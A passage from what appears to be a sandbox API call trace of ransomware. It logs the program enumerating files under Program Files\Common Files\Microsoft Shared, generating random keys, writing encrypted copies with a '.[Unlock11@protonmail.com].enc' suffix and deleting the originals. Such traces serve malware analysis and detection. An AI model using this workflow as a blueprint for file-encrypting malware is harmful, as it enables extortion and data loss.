lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.245] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.245] GetFileType (hFile=0x39c) returned 0x1 [0199.245] GetFileType (hFile=0x39c) returned 0x1 [0199.245] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.246] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.246] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.248] CloseHandle (hObject=0x39c) returned 1 [0199.248] CloseHandle (hObject=0x334) returned 1 [0199.248] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0 [0199.248] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x9bada4*="SoftBlue.jpg") returned 0x4c [0199.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.249] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949)) returned 1 [0199.249] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d2c | out: pbBuffer=0x3674d2c) returned 1 [0199.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0199.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0199.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0199.249] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.250] GetFileType (hFile=0x334) returned 0x1 [0199.250] GetFileType (hFile=0x334) returned 0x1 [0199.250] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.251] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.251] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\softblue.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.251] GetFileType (hFile=0x39c) returned 0x1 [0199.251] GetFileType (hFile=0x39c) returned 0x1 [0199.251] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.251] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.251] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.252] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.252] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.252] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.252] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.254] CloseHandle (hObject=0x39c) returned 1 [0199.255] CloseHandle (hObject=0x334) returned 1 [0199.255] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0 [0199.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x9bada4*="Stars.htm") returned 0x49 [0199.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.255] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1 [0199.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36740d4 | out: pbBuffer=0x36740d4) returned 1 [0199.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0199.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0199.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0199.256] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.257] GetFileType (hFile=0x334) returned 0x1 [0199.257] GetFileType (hFile=0x334) returned 0x1 [0199.257] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.257] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.257] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.258] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.258] GetFileType (hFile=0x39c) returned 0x1 [0199.258] GetFileType (hFile=0x39c) returned 0x1 [0199.258] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.317] CloseHandle (hObject=0x39c) returned 1 [0199.317] CloseHandle (hObject=0x334) returned 1 [0199.318] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0 [0199.318] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x9bada4*="Stars.jpg") returned 0x49 [0199.318] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51)) returned 1 [0199.319] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629e4 | out: pbBuffer=0x36629e4) returned 1 [0199.319] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.319] GetFileType (hFile=0x334) returned 0x1 [0199.320] GetFileType (hFile=0x334) returned 0x1 [0199.320] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.320] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.320] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.320] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.320] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.320] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.320] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.320] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.321] GetFileType (hFile=0x39c) returned 0x1 [0199.322] GetFileType (hFile=0x39c) returned 0x1 [0199.322] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.322] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.322] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.322] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.322] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.322] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.322] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.325] CloseHandle (hObject=0x39c) returned 1 [0199.325] CloseHandle (hObject=0x334) returned 1 [0199.325] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0 [0199.326] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0199.326] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.326] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.326] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 0 [0199.327] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0199.327] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us")) returned 0x10 [0199.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0199.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0199.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0199.327] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0199.328] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.328] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0199.328] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0199.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0199.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0199.328] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0199.329] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.329] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.329] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 0 [0199.329] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0199.329] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us")) returned 0x10 [0199.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0199.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0199.330] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0199.330] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.330] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0199.330] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0199.331] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0199.331] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: 